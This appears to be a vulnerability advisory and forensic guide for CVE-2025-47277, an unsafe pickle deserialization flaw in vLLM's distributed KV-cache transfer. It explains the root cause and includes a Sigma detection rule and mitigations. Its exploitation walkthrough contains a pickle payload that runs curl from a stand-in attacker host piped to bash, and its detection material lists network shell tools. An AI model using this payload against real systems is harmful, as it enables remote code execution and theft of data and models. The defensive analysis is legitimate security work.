Skip to content

CVE-2025-47277: vLLM Distributed KV-Cache PyNcclPipe Remote Code Execution

1. Architectural Background: Distributed Inference & KV-Cache Transfer

Section titled “1. Architectural Background: Distributed Inference & KV-Cache Transfer”

High-throughput Large Language Model serving engines rely heavily on memory-efficient attention management. As analyzed in our study on GPU Memory & KV Cache Forensics, autoregressive generation requires calculating and caching intermediate Key and Value tensors for every prompt token.

To maximize throughput and minimize latency in enterprise deployments, vLLM supports Disaggregated Prefill and Decode (P/D Disaggregation). Under this architecture:

  • Prefill Workers: Compute-bound nodes that process initial prompt context and compute initial KV tensors.
  • Decode Workers: Memory-bandwidth-bound nodes that generate subsequent tokens autoregressively.
[Client Prompt] ──> [Prefill Worker (GPU 0-7)]
│
│ KV-Cache Transfer (PyNcclPipe / TCPStore)
▼ [CVE-2025-47277 Unsafe Deserialization]
[Decode Worker (GPU 0-7)] ──> [Streamed Response]

To transfer gigabytes of cached attention tensors between prefill and decode workers without round-tripping through host disks or slow REST interfaces, vLLM introduced the PyNcclPipe transfer backend. PyNcclPipe leverages NCCL (NVIDIA Collective Communications Library) and PyTorch’s distributed TCPStore to synchronize tensor shapes, metadata, and memory handles across distributed ranks.

2. Root Cause Analysis: Insecure Deserialization (CWE-502)

Section titled “2. Root Cause Analysis: Insecure Deserialization (CWE-502)”

The vulnerability arises from the convergence of two architectural design flaws: an unsafe serialization primitive and an overly permissive network listener.

A. The Deserialization Primitive (pickle.loads)

Section titled “A. The Deserialization Primitive (pickle.loads)”

Within vllm/distributed/kv_transfer/kv_pipe/pynccl_pipe.py, PyNcclPipe orchestrates point-to-point communication between worker processes. During initialization and tensor negotiation, metadata describing tensor buffers is exchanged over the network socket.

The implementation utilized Python’s built-in pickle module to serialize and deserialize this metadata:

# Vulnerable code pattern in vllm/distributed/kv_transfer/kv_pipe/pynccl_pipe.py
def receive_tensor_metadata(self, sock):
raw_data = self._recv_bytes(sock)
# INSECURE: Deserializing untrusted input over a network socket
metadata = pickle.loads(raw_data)
return metadata

Python’s pickle format is inherently non-hermetic. When pickle.loads() deserializes an object, it executes the instructions of an internal stack machine. By implementing the __reduce__ magic method, an object can specify an arbitrary callable (e.g., os.system, subprocess.Popen) along with arbitrary arguments to be executed automatically upon instantiation.

B. Indiscriminate Network Interface Binding (0.0.0.0)

Section titled “B. Indiscriminate Network Interface Binding (0.0.0.0)”

Distributed training and inference frameworks typically operate under the assumption of a “trusted cluster interconnect” (such as a dedicated secondary InfiniBand or RoCE VPC).

However, PyNcclPipe relied on PyTorch’s TCPStore to negotiate connection metadata between nodes. A configuration flaw caused TCPStore to bind its listening socket to 0.0.0.0 (all IPv4 interfaces) rather than restricting itself to a loopback address (127.0.0.1) or a specified internal cluster network interface.

As a consequence, if a Kubernetes node, bare-metal server, or cloud VM hosting vLLM had a public IP address or was accessible across a shared corporate intranet, the unauthenticated TCPStore socket was directly exposed to external network traffic.

Because the service performed no initial cryptographic handshake, TLS client verification, or token authentication before invoking pickle.loads(), exploitation is deterministic and trivial to automate.

  1. Network Discovery: The attacker scans for open high-order TCP ports associated with PyTorch TCPStore and vLLM distributed worker processes (defaulting around ports 29500-29550 or dynamic ephemeral ranges).
  2. Payload Construction: The attacker constructs a serialized byte sequence weaponizing Python’s __reduce__ hook to spawn an interactive reverse shell or execute container escape tools:
    import pickle
    import os
    class Exploit:
    def __reduce__(self):
    return (os.system, ("curl -s http://attacker.c2/stager.sh | bash",))
    payload = pickle.dumps(Exploit())
  3. Socket Delivery: The attacker establishes a raw TCP socket connection to the target vLLM worker node and transmits the serialized byte stream prefixed with the protocol’s expected length header.
  4. Execution Flow: The worker receives the incoming bytes, passes the buffer to pickle.loads(), and triggers the os.system invocation inside the Python process context.

As outlined in our research on Runtime Security for AI Agents and Tool Injection Architectures, compromising an LLM serving node yields far greater privileges than typical web application compromises:

  • Direct GPU Memory Access: The vLLM process maintains direct mapped access to GPU Video RAM (/dev/nvidia*, /dev/kfd). An attacker running in this process context can inspect memory pages containing private customer prompts, unredacted corporate documents, and raw model weights.
  • Proprietary Model Theft: Access to the underlying host or mounted storage volumes (/models/, /workspace/, S3/NFS cache) allows the exfiltration of multi-billion-parameter proprietary fine-tuned model checkpoints.
  • Infrastructure Pivot: Because LLM clusters require extreme bandwidth, vLLM pods in Kubernetes environments are frequently configured with hostNetwork: true and elevated capabilities (e.g., IPC_LOCK, SYS_PTRACE). Compromising the vLLM container often leads directly to host node domination.

4. Forensic Investigation & Incident Response

Section titled “4. Forensic Investigation & Incident Response”

DFIR analysts investigating anomalous vLLM behavior or responding to container alerts must examine three specific forensic planes:

  • Foreign Inbound Connections: Identify TCP connections to distributed coordination ports originating from IP addresses outside the known cluster CIDR blocks.
  • Pickle Bytecode Signatures: Inspect captured traffic on vLLM inter-node ports for Python pickle opcode headers:
    • Protocols 2-5 headers: \x80\x02, \x80\x03, \x80\x04, \x80\x05.
    • Suspicious module resolution strings: cposix\nsystem, csubprocess\nPopen, cos\nsystem.

Under standard operational baselines, the vLLM parent process (python -m vllm.entrypoints... or Ray worker processes) should only spawn CUDA compilation daemons, NCCL threads, or internal Python worker forks.

Investigate host or container telemetry for suspicious child processes as detailed in Process Lineage Analysis and Linux Process & Memory Analysis:

  • python3 (vllm) → /bin/sh
  • python3 (vllm) → /bin/bash
  • python3 (vllm) → curl, wget, nc, socat
  • python3 (vllm) → chmod +x

Adversaries leveraging this exploit frequently stage secondary payloads or dump GPU memory tensors into temporary scratch spaces. Monitor for unauthorized write operations in /tmp, /dev/shm, or /var/tmp as documented in Linux Data Staging & Exfiltration.

title: vLLM Worker Spawning Suspicious Shell Process (CVE-2025-47277)
id: 7f8a1290-3b4c-4e11-9a72-b9e4a5254727
status: production
description: Detects unusual child shell processes or network utilities spawned by a vLLM inference engine worker process, indicative of CVE-2025-47277 exploitation.
references:
- https://github.com/vllm-project/vllm/security/advisories/GHSA-hjq4-87xh-g4fv
- https://nvd.nist.gov/vuln/detail/CVE-2025-47277
author: Hermes Codex DFIR Lab
date: 2026-09-06
logsource:
category: process_creation
product: linux
detection:
selection_parent:
ParentCommandLine|contains:
- 'vllm'
- 'vllm.entrypoints'
- 'RayWorker'
selection_children:
Image|endswith:
- '/bin/sh'
- '/bin/bash'
- '/bin/dash'
- '/usr/bin/curl'
- '/usr/bin/wget'
- '/usr/bin/nc'
- '/usr/bin/ncat'
- '/usr/bin/socat'
condition: selection_parent and selection_children
falsepositives:
- Rare legitimate administration scripts invoked directly by developer orchestration wrappers (should be baselined).
level: critical
tags:
- attack.execution
- attack.t1059.004
- attack.t1203
- cve.2025.47277

Upgrade to vLLM version 0.8.5 or higher immediately. The release addresses the vulnerability by:

  1. Eliminating default bindings to 0.0.0.0 and restricting TCPStore initialization to explicitly declared private cluster network interfaces.
  2. Hardening serialization mechanisms and enforcing interface boundary validations.

B. Network Segmentation & Infrastructure Hardening

Section titled “B. Network Segmentation & Infrastructure Hardening”

In environments where immediate software upgrade is blocked by model validation testing:

Kubernetes NetworkPolicies

Apply ingress policies restricting access to distributed ports (e.g. ports 29500-29550) strictly to pods within the same vLLM StatefulSet or distributed serving namespace. Block all ingress from the public internet or standard user pods.

Bind Interface Enforcement

Explicitly define private node IPs via environment variables (VLLM_HOST_IP, NCCL_SOCKET_IFNAME) to avoid automatic binding to public-facing network interfaces.

Remove hostNetwork Privileges

Audit deployment manifests and eliminate hostNetwork: true wherever possible to prevent container compromises from inheriting physical node network interfaces.